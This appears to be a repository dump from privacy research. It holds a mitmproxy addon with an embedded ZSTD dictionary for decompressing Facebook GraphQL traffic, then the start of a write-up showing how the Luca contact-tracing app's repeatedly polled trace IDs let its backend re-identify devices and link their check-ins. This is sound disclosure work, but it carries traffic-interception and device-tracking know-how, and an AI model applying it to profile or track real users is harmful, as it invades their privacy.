0b3MiOmZhbHNlLCJjYW5fdmlld2VyX2VkaXQiOmZhbHNlLCJjYW5fdmlld2VyX2VkaXRfbWV0YXRhZ3MiOmZhbHNlLCJjYW5fdmlld2VyX2VkaXRfcG9zdF9tZWRpYSI6ZmFsc2UsImNhbl92aWV3ZXJfZWRpdF9wb3N0X3ByaXZhY3kiOmZhbHNlLCJjYW5fdmlld2VyX2VkaXRfbGlua19hdHRhY2htZW50IjpmYWxzZSwiY2FuX3ZpZXdlcl9kZWxldGUiOmZhbHNlLCJjYW5fdmlld2VyX3Jlc2hhcmVfdG9fc3RvcnkiOnRydWUsImNhbl92aWV3ZXJfcmVzaGFyZV90b19zdG9yeV9ub3ciOnVsbCwic3VmZml4IjpudWxsLCJpc19mb3hfc2hhcmFibGUiOmZhbHNlLCJhY3RvcnMiOlt7Il9fdHlwZW5hbWUiOiJkdWNhdGlvbl9pdGVtcyI6W10sInVuZGVybHlpbmdfYWRtaW5fY3JlYXRvciI6bnVsbCwiaWRlbnRpdHlfYmFkZ2VfY29tbWVudF90cn19LCJzYXZlX2luZm8iOnsidmlld2VyX3NhdmVfc3RhdGUiOiJOT1RfU0FWRUQiLCJzdG9yeV9zYXZlX3R5cGUiOiJQT1NUIiwic3Rvcnlfc2F2ZV9udXhfdHlwZSI6bnVsbCwic3Rvcnlfc2F2ZV9udXhfbWluX2NvbnN1bWVfZHVyYXRpb24iOm51bGwsInN0b3J5X3NhdmVfbnV4X21heF9jb25zdW1lX2R1cmF0aW9uIjpudWxsLCJzYXZlX2xpc3RzIjp7ImNvdW50IjowfSwic2F2YWJsZSI6eyJfX3R5cGVuYW1lIjoiMGhvdG8iLCJpZCI6IjAwMDUyMzIwMDAwMDAwMCIsInZpZXdlcl9zYXZlZF9zdGF0ZSI6Ik5PVF9TQVZFRCIsInNhdmFibGVfZGVmYXVsdF9jYXRlZ29yeSI6IiwiYXR0YWNoZWRfc3RvcnkiOm51bGwsImF0dGFjaGVkX3N0b3J5X3JlbmRlcnJjXCI6MjIsXCJwaG90b19pZFwiOlwiMDAwMDAwMDAwMDAwMDYyMFwiLFwic3RvcnlfbG9jYXRpb25cIjo1LFwic3RvcnlfYXR0YWNobWVudF9zdHlsZVwiOlwibl9mZWVkIjpmYWxzZSwib2JqZWN0aW9uYWJsZV9jb250ZW50X2luZm8iOm51bGxvcHlyaWdodF9hdHRyaWJ1dGlvbl9uYXRpdmVfdGVtcGxhdGVfdmlldyI6bnVsbCwiY2FtZXJhX3Bvc3RfaW5mbyI6eyJzaGFyZWFibGVfaWQiOnVsbH1dfSwiaXNfd29ya191c2VyIjpmYWxzZSwid29ya19mb3JlaWduX2VudGl0eV9pbmZvIjpudWxsLCJ3b3JrX2luZm8iOm51bGwsInByb2ZpbGVfdmlld2VyX3Jlc2hhcmVfdG9fc3Rvcnlfbm93IjpmYWxzZSwic3Vic3Rvcmllc19ncm91cGluZ19yZWFzb25zIjpbXSwidmlhIjpudWxsLCJ3aXRoX3RhZ3MiOnsibm9kZXMiOltdfSwiYXBwbGljYXRpb24iOm51bGwsInN1YnN0b3J5X2NvdW50IjowLCJpbXBsaWNpdF9wbGFjZSI6bnVsbCwiZXhwbGljaXRfcGxhY2UiOm51bGwsInBhZ2VfcmVjX2luZm8iOm51bGwsInNwb25zb3JlZF9kYXRhIjpudWxsLCJpc19hdXRvbWF0aWNhbGx5X3RyYW5zbGF0ZWQiOmZhbHNlLCJzcG9uc29yX3JlbGF0aW9uc2hpcCI6MCwiYWN0aW9uX2xpbmtzIjpbeyJfX3R5cGVuYW1lIjoiaWRlb19hdXRvcGxheVwiLFwidmlld190aW1lXCI6MTU3MDAwMzc4MCxcImZpbHRlclwiOlwiaF9ub3JcIixcImFjdHJzXCI6XCIxMHJpZ2dlciI6bnVsbCwiMzEifSwidGFyZ2V0X2VudGl0eV90eXBlIjoiUEVPUExFIiwiZmVlZGJhY2tfdGFncyI6W10sInVybCI6bnVsbH19LHsibm9kZSJhd2xlZF9zdGF0aWNfcmVzb3VyY2VzIjpbXSwic3R5bGVfaW5mb3MiOltzdG9yeV9wcm9tb3Rpb25zX2luZm8iOnsicHJvbW90aW9ucyI6eyJlc2hhcmVfY29tcG9zZXJfY29uZmlybV9kaWFsb2dfY29uZmlnIjpudWxsLCIsIm11bHRpYWRnZSI6bnVsbCwic3Vic2NyaWJlX3N0YXR1cyI6IjQwLFwiZ2VuZXJhdG9yX3Jvd19pZFwiOjAxMCxcImJhY2tlbmRfcG9zaXRpb25cIjowLFwic29ydF9rZXlcIjoxMDAwMDAwMDAwMDAwfSIsImRpc2FsbG93X2ZpcnN0X3Bvc2l0aW9uIjpmYWxzZSwic3BvbnNvcmVkX2F1Y3Rpb25fZGlzdGFuY2UiOjAsInNwb25zb3JlZF9mb3J3YXJkX2Rpc3RhbmNlIjpudWxsLCJzdG9yeV90eXBlX2JhY2tlbmQiOjA2MywiY2F0ZWdvcnkiOiJPUkdBTklDIiwic3RvcnlfcmFua2luZ190aW1lIjoxNTA5OTA0MDMyLCJhbGxvY2F0aW9uX2dhcF9oaW50IjpudWxsLCJ0b3BfYWRfcG9zaXRpb24iOm51bGwsImZlZWRfcHJvZHVjdF9kYXRhIjp7ImlzX2luc3RhbnRfZmVlZF9jYWNoZWRfc3RvcnkiOmZhbHNlfSwiZmVlZF9iYWNrZW5kX2RhdGEiOnsicWlkIjoiNjc0ImVsaWdpYmxlX2Zvcl9lZHVjYXRpb24iOmZhbHNlLCJzaG93X2FjdGl2ZV9lZHVjYXRpb24iOmV5Ijo4fV0sImltcG9ydGFudF9yZWFjdG9ycyI6eyJhbWVzQXBwU3RvcnlBdHRhY2htZW50U3R5bGVJbmZvIn1dLCJyaWVuZHNlZmVyZW5jZWRfc3RpY2tlciI6bnVsbCwidGV4dF9mb3JtYXRfbWV0YWRhdGEiOm51bGwsImFsYnVtIjpudWxsLCJ2ZXJpZmllZF92b2ljZV9jb250ZXh0IjpudWxsLCJicmFuZGVkX2NvbnRlbnRfaW50ZWdyaXR5X2NvbnRleHRfInRpdGxlIjpudWxsLCJ2YWx1ZSI6eyJ0ZXh0IjoiYXNfY29tcHJlaGVuc2l2ZV90aXRsZSI6ZmFsc2UsImVkbmdfdG9waWN9LCJyYXBpZF9yZXBvcnRpbmdfcHJvbXB0Ijp7ImVuYWJsZWQiOmZhbHNlfSwiZnJ4X2NvbnRlbnRfb3ZlcmxheV9wcm9tcHQiOm51bGwsIm11bHRpbGluZ3VhbF9hdXRob3JfZGlhbGVjdHMiOltdLCJhdXRob3JfdHJhbnNsYXRpb25zIjpbXSwidHJhbnNsYXRhYmlsaXR5X2Zvcl92aWV3ZXIiOnsic291cmNlX2RpYWxlY3QiOiJlbGV0ZSI6ZmFsc2UsImNhbl92aWV3ZXJfYWdlIiwiaWQiOiIwMDAwMDAwMDAwOTA5NDUiLCJuYW1lIjoiMDAwMDAwMDBraW5nLiIsInByb2ZpbGVfcGljdHVyZSI6eyJ1cmkiOiJodHRwczpcL1wvc2NvbnRlbnQwMGJlMS0xLnh4LmZiY2RuLm5ldFwvdlwvdDEuMC0xXC9jcDBcL2UxNVwvcTY1XC9wMDR4NzRcLzAwOTc3NTAwXzY2MDAwMDAwMDAwMDAwMF8wMDAwMDAwMjAwMTEwMDAwMF9uLmpwZz9fbmNfY2F0PTFIRVZST05fRkVFREJBQ0tfRU5UUllQT0lOVCIsInRhcmdldF9lbnRpdHkiOm51bGwsInRhcmdldF9lbnRpdHlfdHlwZSI6bnVsbCwiZmVlZGJhY2tfdGFncyI6W10sInVybCI6bnVsbH19c3R5bGUiOiJERUZBVUxUIiwiYWxsX3N1YiJkZWJ1Z19pbmZvIjpudWxsLCJob3RvIiwiZ2FtZXNfYXBwIiwiZmFsbGJhY2siXSwiaGFyZUF0dGFjaG1lbnRXaXRoSW1hZ2VGaWVsZHMiOltdLCJmZWVkYmFjayI6eyJpZCI6IjAwMDAwMDAwMDJzNk0wMDBOekkyTWprek4wUTAwVFV3IiwiYWNjZXB0ZWRfYW5zd2VyIjpudWxsLCJjYW5fcGFnZV92aWV3ZXJfaW52aXRlX3Bvc3RfbGlrZXJzIjpvbW1lbnRfd2l0aF9jMi0xLmZuYSZvaD0wMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDk0MiZvZT01RTIwMDY4RSIsIndpZHRoIjowNDAsImhlaWdodCI6MDQwfSwidG9yaWVzIjp7InJlbWFpbmluZ19jb3VudCI6MCwibm9kZXMiU19TVUJTQ1JJQkVEdWxsfSwicGFnZV9leGNsdXNpdmVfcG9zdF9pbmZvIjpudWxsLCJuZXdzZmVlZF91c2VyX3RfaGlzdG9yeSI6eyJjb3VudCI6MH0sImlubGluZV9hY3Rpdml0aWVzIjp7Im5vZGVzIjpbXX0sImRpc3BsYXlfZXhwbGFuYXRpb24iOm51bGwsInN0b3J5X2F0dHJpYnV0aW9uIjpudWxsLCJzdG9yeV9oZWFkZXIiOm51bGwsImNyaXNpc19saXN0aW5nIjpudWxsLCJibG9vZF9yZXF1ZXN0IjpudWxsLCJhY3Rpb25zIjpbXSwic3VwcGxlbWVudGFsX3NvY2lhbF9zdG9yeSI6bnVsbCwidmlld2VyX2VkaXRfcG9zdF9mZWF0dXJlX2NhcGFiaWxpdGllcyI6WywiYW5kcm9pZF91cmxzIjpbXSwiYXBwbGljYXRpb24iOm51bGwsInByb2ZpbGVfcGljdHVyZSI6SU5LIiwiaXNfc3BoZXJpY2FsIjpmYWxzZX19LCJsZWdhY3lfYXBpX3N0b3J5X2lkIjpdLCJwcml2YWN5X3Njb3BlIjp7ImxhYmVsIjoiMHVibGljIiwidHlwZSI6ImV2ZXJ5b25lIiwiaWNvbiI6eyJ1cmkiOiJodHRwczpcL1wvc3RhdGljLnh4LmZiY2RuLm5ldFwvcnNyYy5waHBcL3YzXC95MFwvclwvMC1zb0xNSWJKYUoucG5nIiwibmFtZSI6ImV2ZXJ5b25lIiwid2lkdGgiOjEwLCJoZWlnaHQiOjAxfSwiY2FuX3ZpZXdlcl9lZGl0IjpmYWxzZSwiZWR1Y2F0aW9uX2luZm8iOnsicmVzaGFyZV9lZHVjYXRpb25faW5mbyI6LCJkaW1lbnNpb25sZXNzX2NhY2hlX2tleSI6IiwiY2NvbW1lbnQiOm9kZSI6eyJfX3R5cGVuYW1lIjoiU3RvcnkiLCJpZCI6IlV6cGZTVEV3TURBd3VsbCwiY292ZXJfcGhvdG8iOm51bGwsInNvY2lhbF9jb250ZXh0IjpudWxsLCJtZWRpYWFjdGlvbiI6bnVsbG5pbWF0ZWRfaW1hZ2VibGVfd2FybmluZ19tIiwicmFuZ2VzIjpbeyJvZmZzZXQiOjAsImxlbmd0aCI6MTAsImVudGl0eSI6LCJyYW5nZXMiOltdLCJkZWxpZ2h0X3JhbmdlcyI6W119LCJmZXRjaF90dG9rZW4ifSx7ImtleSI6N30seyJrZXkiOjh9XUVHVUxBUl9GT0xMT1ciLCJ1cmwiOiJodHRwczpcL1wvbS5mYWNlYm9vay5jb21cL2ljb25fbmFtZSI6InVsbH1dLCJmZWVkYmFjayI6fSwidG9wX2xldmVsX2NvbW1lbnRzIjp7ImNvdW50IjowLCJ0b3RhbF9jb3VudCI6MH0sImxpa2VycyI6eyJjb3VudCI6MH0sInJlc2hhcmVzIjp7ImNvdW50IjowfSwiZGVmYXVsdF9jb21tZW50X29yZGVyaW5nIjoidG9wbGV2ZWwiLCJzaG93X3RhcF90b19zZWVfYmxpbmdfYmFyIjpmYWxzZSwiY2FuX3Nob3dfc2Vlbl9zIjp7Im51bV9hY3Rpb25zX2Fib3ZlX2ZvbGQiOm51bGwsIm51bV9hY3Rpb25zX2ZvbGRlZCI6bnVsbCwiZWRnZXMiOlt7Im5vZGUiOnsiLCJzb3VyY2VfZGlhbGVjdF9uYW1lIjoifSwidmlld2VyX2N1cnJlbnRfYWN0b3IiOnsiX190eXBlbmFtZSI6IlVzZXIiLCJpZCI6IjEwMDAwMDAwMDAwMDAwMCIsIm5hbWUiOiIwbzBnIDAwIn0sImN1c3RvbV9zdGlja2VyX3BhY2siOm51bGwsImN1c3RvbV9zdGlja2VyX3BhY2tfbnV4X2NvbnRlbnQiOm50eWxlX2xpc3QiOlsiaG93X29iamVjdGlvbmVnYWN5X2FwaV9wb3N0X2lkIjoiMDAwMDkwMzAwMDA1MjM4MiIsInZpZXdlcl9hY3RzX2FzX3BhZ2UiOm51bGwsImNvbW1lbnRzX21pcnJvcmluZ19kb21haW4iOm51bGwsIm93bmluZ19wcm9maWxlIjp7Il9fdHlwZW5hbWUiOiJ1YnNjcmliZSI6dHJ1ZSwiY29tbXVuaXR5X2NvbnZlcnNhdGlvbnNfY29udGV4dCI6eyJhbGxvd19wcml2YXRlX2xvdW5nZV9jb252ZXJzYXRpb25zIjpmYWxzZSwicHJlZmVycmVkX3ByaXZhY3lfdmFsdWUiOiJERUZBVUxUX1BSSVZBQ1kifSwiZG9lc192aWV3ZXJfbGlrZSI6Im5vZGUiOnsiaWQiOiIxNjM1ODU1NDg2NjY2OTk5Iiwia2V5IjoxfX1dfSwidmlld2VyX2ZlZWRiYWNrX3JlYWN0aW9uX2tleSI6MCwidWxsLCJjYW5fc2VlX3ZvaWNlX3N3aXRjaGVyIjpmYWxzZSwiY2FuX119LCJpY29uX2ltYWdlIjp7Im5hbWUiOiI6bnVsbCwiaW1hZ2UiOnsidXJpIjoiaHR0cHM6XC9cL3Njb250ZW50LmYwMGUxLTEuZm5hLmZiY2RuLm5ldFwvdlwvdDEuMC11cHBvcnRlZF9yZWFjdGlvbjAiOlt7ImtleSI6MX0seyJrZXkiOjJ9LHsia2V5Ijo0fSx7ImtleSI6ZXNjcmlwdGlvbiI6aXRsZSI6eyJ0ZXh0Ijoic2VyIiwiaWQiOiIxMDAwMCwicmVhY3RvcnMiOnsiY291bnQiOjB9LCJ0b3BfcmVhY3Rpb25zIjp7ImVkZ2VzIjpbeyJyZWFjdHRhcnRfY3Vyc29yIjphbHNlLCJpc192aWV3ZXJfc3Vic2NyaWJlZCI6ZmFsc2UsInVsbCwidXJsIjoiaHR0cHM6XC9cL20uZmFjZWJvb2suY29tXC8mX25jX2FkPXotbSZfbmNfY2lkPTAmX25jX3pvcj05Jl9uY19odD1zY29udGVudC5mdWxsLCIiTmV3c0ZlZWRRdWVyeURlcHRoMyI6eyJkYXRhIjp7InZpZXdlciI6eyJuZXdzX2ZlZWQiOnsiZWRnZXMiOltvbl9jb3VudCI6YWdlX2luZm8iOnsiaWRlbyI6dHJ1ZSwiY2FuX3ZpZXdlcl86bnVsbCwiX25jX29jPUFRfX19LCJleHRlbnNpb25zIjp7InNlcnZlcl9tZXRhZGF0YSI6eyJyZXF1ZXN0X3N0YXJ0X3RpbWVfbXMiOjE1NzAwMDAwNDkwNjYsInRpbWVfYXRfZmx1c2hfbXMiOjE1NzAwMDAwNDAwODF9LCJpc19maW5hbCI6dHJ1ZX19"  # noqa: E501
55 | 
56 | class Filter:
57 |     def __init__(self):
58 |         # only apply to traffic, which fullfills the following conditions, as the ZSTD compression dict only applies to this
59 |         # - request URL 'graph.facebook.com/graphql'
60 |         # - response header 'content-encoding: x-fb-dz' exists (indicates usage ZSTD compression)
61 |         # - response header 'x-fb-dz-dict: 1' exists (indicates that the ZSTD dict #1 was used to create the response)
62 |         #
63 |         # Warning: There is no filter criteria which enforce traffic for a specific client version, while the dict in use was
64 |         #          extracted from Faceboo Android App v342.0.0.37.119. To train dictionaries for ZSTD compression is an ongoing
65 |         #          process, which means facebook will very likely ship newer versions of the dictionary with newer clients
66 |         self.filter: flowfilter.TFilter = flowfilter.parse('~u graph.facebook.com/graphql & ~hs "x-fb-dz-dict:\\\\s*1" & ~hs "content-encoding:\\\\s*x-fb-dz"')
67 |         d_dict=zstandard.ZstdCompressionDict(data=b64decode(FB_ZSTD_DICT1))
68 |         self.decompressor = zstandard.ZstdDecompressor(d_dict)
69 | 
70 | 
71 |     def load(self, loader):
72 |         pass
73 | 
74 |     def response(self, flow: http.HTTPFlow) -> None:
75 |         if flowfilter.match(self.filter, flow):
76 |             ctx.log.info("Flow matches filter:")
77 |             # decompress the body
78 |             if flow.response is not None and flow.response.raw_content is not None:
79 |                 compressed = flow.response.raw_content
80 |                 try:
81 |                     decompressed = self.decompressor.decompress(compressed)
82 |                     # replace content
83 |                     flow.response.content = decompressed
84 |                     # remove 'content-encoding', x-fb-dz' and 'x-fb-dz-dict' headers
85 |                     del flow.response.headers[b"content-encoding"]
86 |                     del flow.response.headers[b"x-fb-dz-dict"]
87 |                     
88 |                     ctx.log.info(decompressed)
89 |                 except:
90 |                     pass  # if it fails, it fails
91 |                 
92 | 
93 | 
94 | 
95 | addons = [Filter()]
96 | 


--------------------------------------------------------------------------------
/luca_traceIds.md:
--------------------------------------------------------------------------------
  1 | # Tracking of unique mobile devices and check-in locations from operator perspective of LucaApp backend
  2 | 
  3 | Author: Marcus Mengs (MaMe82)
  4 | 
  5 | ## TL;DR
  6 | 
  7 | Based on the observation of network traffic between the Luca-app and the Luca backend, it could be concluded that an observer (f.e. backend operator) is able to:
  8 | 
  9 | - continuously and uniquely re-identify mobile devices:
 10 |   - across application restart
 11 |   - across device reboot
 12 |   - across IP-address changes
 13 | - ... and associate plain data of visited locations (check-in / check-out) to those devices
 14 | 
 15 | **...without any involvement of responsible health departments or location owners**
 16 | 
 17 | ## Disclaimer
 18 | 
 19 | _The content of this document is based on my personal observation of the HTTP communication of a single test device running the Luca app, thus I do not consider it being representative (without further verification). It is neither a full fledged analysis of the Luca ecosystem, nor a representative study. I take no responsibility for the abusive use of information given in this documents. I DO NOT GRANT PERMISSIONS TO USE CONTAINED INFORMATION TO BREAK THE LAW. The document is provided "as is"._
 20 | 
 21 | ## Introduction
 22 | 
 23 | By design of the **LucaApp** architecture deploys various asymmetric and symmetric keys for different purposes across involved entities. The goal: protect user data from disclosure.
 24 | 
 25 | The detailed security objectives are described here: [link to security concept](https://luca-app.de/securityconcept/properties/objectives.html#objectives)
 26 | 
 27 | One out of multiple symmetric keys (or "secrets") is the `tracing secret`, which is used to generate `tracingIDs` for anonymized user check-ins into dedicated locations (in luca's terminology users are called `guests` and locations, which offer check-ins, are called `venues`).
 28 | 
 29 | The "security concept" describes a [tracingID](https://luca-app.de/securityconcept/properties/secrets.html#term-trace-ID) like this:
 30 | 
 31 | ```
 32 | An opaque identifier derived from a Guest’s user ID and tracing secret during Guest Check-In. It is used to identify Check-Ins by an Infected Guest after that Guest shared their tracing secret with the Health Department.
 33 | ```
 34 | 
 35 | The term `opaque` implies that **at no point in time, luca operators are able to draw conclusion on the guest, which produced a `trace ID`.**
 36 | 
 37 | Moreover, the `trace IDs` are meant to allow legit health departments (**and only health departments**) to reconstruct a guest' check-in history. A detailed description could be found in the process [Tracing the Check-In History of an Infected Guest](https://luca-app.de/securityconcept/processes/tracing_access_to_history.html#process-tracing). Below a short excerpt:
 38 | 
 39 | ```
 40 | The first part of the contact tracing is for the Health Department to reconstruct the Check-In History of the Infected Guest. Each Check-In stored in luca is associated with an unique trace ID. These IDs are derived from the tracing secret stored in the Guest App (as well as from the Guest’s user ID and a timestamp). Hence, given the Infected Guest’s tracing secrets the Health Department can reconstruct the Infected Guest’s trace IDs and find all relevant Check-Ins.
 41 | ```
 42 | 
 43 | In the 'security considerations' of said process description, the security concept also mentions the possible [Correlation of Guest Data Transfer Objects and Encrypted Guest Data](https://luca-app.de/securityconcept/processes/tracing_access_to_history.html#security-considerations)
 44 | 
 45 | ```
 46 | After receiving a Infected Guest’s guest data transfer object the Health Department Frontend uses the contained user ID to obtain that Guest’s encrypted guest data from the Luca Server. This is done in order to display the Infected Guest’s Contact Data to the Health Department.
 47 | 
 48 | The Luca Server can (indirectly) use this circumstance in order to associate a guest data transfer object with the encrypted guest data of the same Guest by observing the Health Department Frontend’s requests
 49 | ```
 50 | 
 51 | Based on my own observations of the behavior of the LucaApp (Android, version 1.4.12), the Luca-backend is able to uniquely identify devices (even across connectivity loss and IP-Address changes) and able to associate location check-ins to those devices **without any involvement of health departments**. I am going to describe aforementioned observations and my personal conclusion throughout this document.
 52 | 
 53 | ## Side note on: device tracking versus user tracking
 54 | 
 55 | For most real world cases, it is sufficient for 3rd party trackers to identify devices with a high probability of uniqueness. This is because, it a single mobile device is used by a single user. There also exist additional tracking technologies with the goal of tracking dedicated users across multiple device (cross-device tracking) which are not in scope of this review.
 56 | 
 57 | It is also known, that, while luca takes efforts to protect the actual user data (name, address, phone number etc), the authenticity of said user data can not be assured by the luca-service. This is even true for the phone number! It was shown multiple times, that the deployed 'SMS TAN verification' could be bypassed, because it is implemented on client side (user controlled).
 58 | 
 59 | This leads to the conclusion, that the encrypted user data (which the luca backend holds ready for health departments) isn't necessarily of value. But of course, meta-information which arises at the luca backend and allows device-tracking and behavior-tracking as described above **is of exceptional value for every tracking service**.
 60 | 
 61 | # Review of relevant network interaction between luca Android app and luca-backend
 62 | 
 63 | In this section I am going to review HTTP communication between the luca app and the backend, with focus on the `/traces/bulk` endpoint. Communication to other endpoints (e.g. user registration) is omitted, where it does not add up to the topic of this document.
 64 | 
 65 | The HTTP body data excerpts used to illustrate observations, reflect real data of HTTP communication of app and backend. In order to review this communication, a luca test account was created (SMS verification was skipped, in order to allow health departments to easily recognize the phone number in use as being invalid).
 66 | 
 67 | Additional notes:
 68 | 
 69 | - In order to observe check-in/check-out behavior, one of multiple publicly-shared location QR-codes has been used for self check-in. As those QR codes are already publicly available, no efforts have been taken to obfuscate related location data, which occurs in the HTTP responses by the luca-backend endpoints.
 70 | - The production API `https://app.luca-app.de/api/v3/` was used for testing. A staging API is available at `https://staging.luca-app.de/api/v3/`, but using it would involve changes in the application code. As the provided Android source code is incomplete, it is not possible to compile an adjusted version of the app. Runtime-modification of the app by other means (to redirect API requests to the staging API) have not been applied for obvious reasons.
 71 | 
 72 | ## 1. Classifiers in HTTP request headers
 73 | 
 74 | As I mostly present HTTP body data in this document, I want to make pretty clear that **each HTTP request from the luca app provides additional device classifiers to the backend via request headers**. Those classifiers are:
 75 | 
 76 | 1. The Android OS version
 77 | 2. The Device Manufacturer
 78 | 3. The Device Model
 79 | 
 80 | The Luca app always assures that those classifiers are included, by enforcing a `User-Agent` string which is constructed like this ([link to code](https://gitlab.com/lucaapp/android/-/blob/master/Luca/app/src/main/java/de/culture4life/luca/network/NetworkManager.java#L127)):
 81 | 
 82 | ```
 83 |     private static String createUserAgent() {
 84 |         String appVersionName = BuildConfig.VERSION_NAME;
 85 |         String deviceName = Build.MANUFACTURER + " " + Build.MODEL;
 86 |         String androidVersionName = Build.VERSION.RELEASE;
 87 |         return "luca/" + appVersionName + " (Android " + androidVersionName + ";" + deviceName + ")";
 88 |     }
 89 | ```
 90 | 
 91 | For a request from my test device, the resulting HTTP Header looks like this:
 92 | 
 93 | ```
 94 | User-Agent:       luca/1.4.12 (Android 9;samsung SM-G900F)
 95 | Content-Type:     application/json
 96 | Content-Length:   15
 97 | Host:             app.luca-app.de
 98 | Connection:       Keep-Alive
 99 | Accept-Encoding:  gzip
100 | ```
101 | 
102 | It could not be avoided that the luca-backend also receives the public IP-Address of the user **for each HTTP request**. For most mobile data connections, public IP-Addresses are shared by multiple users. Additional identifiers, as used in this case, greatly increase the probability to uniquely distinguish requesting devices, even if they share the same IP-Address.
103 | 
104 | This problem of the luca architecture was covered in multiple reviews. Thus I want to focus on how 'trace IDs' could be used in order to increase the probability of identifying devices uniquely.
105 | 
106 | For the rest of the review, I will only cover HTTP body data, but it is crucial to keep in mind, that each and every request involves aforementioned classifiers, the IP-address (as identifier) and a timestamp.
107 | 
108 | ## 2. Communication after application startup
109 | 
110 | When the application is started the first time, a user account has to be created. Once that is done, the app creates the various crypto keys - including the 'tracing secret' - which is only known locally.
111 | 
112 | After 'tracing secret' creation, the app ultimately starts to derive `trace IDs`. Those `trace IDs` are re-generated every 60 seconds, as described in the documentation. The documentation is less specific when it comes to backend-polling of `trace IDs`. The topic is touched in the process [Check-In via Mobile Phone App](https://luca-app.de/securityconcept/processes/guest_app_checkin.html#process-guest-checkin) of the documentation, which states:
113 | 
114 | ```
115 | This polling request might leak information about the association of a just checked-in trace ID and the identity of the Guest (directly contradicting O2). As mobile phone network typically use NAT, the fact that the Luca Server does not log any IP addresses and the connection being unauthenticated, we do accept this risk.
116 | ```
117 | 
118 | So, what I described under `1. Classifiers in HTTP request headers` is an handled with "we do accept this risk". Again, I want to emphasize, that this statement refers to the user's IP-Address (not avoidable), not to the additional classifiers introduced by the app itself (not necessary).
119 | 
120 | So let's have a look, how frequently the polling occurs, to get a better picture. The polling is handled by the already mentioned Endpoint `/traces/bulk`:
121 | 
122 | ```
123 |   ..snip..
124 |   07:29:48 HTTPS POST app.luca-app.de /api/v3/traces/bulk
125 |   07:29:51 HTTPS POST app.luca-app.de /api/v3/traces/bulk
126 |   07:29:54 HTTPS POST app.luca-app.de /api/v3/traces/bulk
127 |   07:29:57 HTTPS POST app.luca-app.de /api/v3/traces/bulk
128 |   07:30:00 HTTPS POST app.luca-app.de /api/v3/traces/bulk
129 |   07:30:03 HTTPS POST app.luca-app.de /api/v3/traces/bulk
130 |   07:30:06 HTTPS POST app.luca-app.de /api/v3/traces/bulk
131 |   07:30:09 HTTPS POST app.luca-app.de /api/v3/traces/bulk
132 |   ..snip..
133 | ```
134 | 
135 | So when the app is running in foreground, the **endpoint is polled in a 3 second interval**.
136 | 
137 | In contrast to the (not very specific) process description in [Check-In via Mobile Phone App](https://luca-app.de/securityconcept/processes/guest_app_checkin.html#process-guest-checkin), **the polling happens all the time, not only after a check-in**. Therefor the app is polling from the very beginning, even if it wasn't used to create a single check-in.
138 | 
139 | What about the content of the polling requests?
140 | 
141 | ### Body data of POST request to `https://app.luca-app.de/api/v3/traces/bulk`:
142 | 
143 | ```
144 | {
145 |     "traceIds": [
146 |         "H2Tceqpx1yAl5ej3Mk1aAg==",
147 |         "BHEHUaHvu0du0B0lobzVGw==",
148 |         "50zVzW7ZS5+qPjKfPhdjsg==",
149 |         "E4Rr5NtfbVvPXkoPxnUqew==",
150 |         "s+yvuYyw6t78lGazu5VK1Q=="
151 |     ]
152 | }
153 | ```
154 | 
155 | For each polling request (every 3 seconds) a set of device-generated 'trace IDs' is sent to the endpoint. This 'trace ID set' could safely be regarded as a user pseudonym. This is because each contained 'trace ID' was derived from the non-public 'tracing secret' which is unique the user (typically no other `tracing secret` would generate the same `trace IDs`). The chance that another user generates a 'trace ID' which is equal to an ID in the set from above is close to zero. This is because the ID is generated as `trace_id = HMAC-SHA256(user_id || timestamp, tracing_secret) # truncated to 16 bytes` **with a very low probability of collisions**. Even for the unlikely case, that a redundant 'trace ID' would be generated by another user, the combination of multiple 'trace IDs' in a set would allow to distinguish them clearly.
156 | 
157 | **To sum up: If the same 'trace IDs' are used across multiple requests, they could correlated to the same unique user device along with the meta-data contained in the request, even if the device IP address has changed throughout successive requests.**
158 | 
159 | _Note: I was using the terms `user` and `device` interchangeably, because the user's `tracing secret` from which the IDs are generated, is unique per device. While calculated `trace IDs` are related to the luca-user, they do not reveal any contact data. Yet, it should be clear that `trace IDs` meet all requirements to serve as unique device identifier. The circumstance that many `trace IDs` could be generated per device, does not change this fact!_
160 | 
161 | The `trace ID set` which gets sent every 3 seconds, continuously grows, as a newly generated `trace ID` is added every 60 seconds (the interval in which trace IDs are re-generated). For the tracing secret, the documentation states the following:
162 | 
163 | ```
164 | Moreover, the tracing secret is rotated on a regular basis in order to limit the number of trace IDs that can be reconstruced when the secret is shared.
165 | ```
166 | 
167 | The `tracing secret rotation` **does not change the fact, that a `trace ID` could be used as device identifier** (which is also is not the purpose of the rotation).
168 | 
169 | ## 3. What the luca-backend has learned so far
170 | 
171 | According to the observation, the luca-backend learned how a unique set of `trace IDs` is associated to a single device, where the device is represented by the following classifier set:
172 | 
173 | - requesting IP-Address (could change)
174 | - OS version (unlikely to change often)
175 | - device manufacturer (persistent)
176 | - device model (persistent)
177 | 
178 | Moreover, if the device' IP-address changes (f.e. after disruption of the mobile data connection), the `trace IDs` could be used to re-identify the same device across IP-Address changes, if a `trace ID` re-appears in a request after the address change.
179 | 
180 | So are `trace IDs` re-used across multiple backend requests? Yes, they are. As pointed out, the set of `trace IDs` sent to the endpoint `/traces/bulk` grows continuously, while new IDs are generated (up till a condition, which I will cover later), and gets transmitted to the backend every 3 seconds, when the app is in foreground. **Moreover, the device-unique `trace ID set` which gets transmitted, survives the following conditions without changes:**
181 | 
182 | - temporary connectivity loss
183 | - temporary connectivity loss with IP address change
184 | - application restart
185 | - **device reboot**
186 | 
187 | Even if the device gets rebooted, as soon as the app starts again, the same identifier set gets sent (with new `trace IDs` appended, as they are generated).
188 | 
189 | The following additional facts are worth noting, for `trace ID sets` transmitted to `/traces/bulk`:
190 | 
191 | - no invalid trace IDs are introduced (no artificial error or bias is introduced)
192 | - chronological order of trace IDs (last ID is always the one used, when the QR code gets scanned for self check-in)
193 | 
194 | So at which point in time does this "trace ID set" change? It changes once a check-in occurs!
195 | 
196 | ## 4. Self check-in
197 | 
198 | To further analyse the polling behavior, it was necessary to do a `self check-in` against a publicly known location (Internet-published check-in QR code). The app sends the following POST request body data to the endpoint `/traces/checkin` to do so:
199 | 
200 | ```
201 | {
202 |     "data":
203 | "9XRuN771VktvWNfGbaxfg86qRxlqYe6I/CyBNCSG4a9htSkXMv4rVSGTVxzKlQjGzVMMpJQr1uDpmVAIkV9ciYcULydZS8n5hDRL",
204 |     "deviceType": 1,
205 |     "iv": "iHEzRMhhSrNSRR61OcMhRA==",
206 |     "mac": "K8exxD+s1sHT026Muvwlz2yQ4Ij/NdTmLkfe3yNtgTc=",
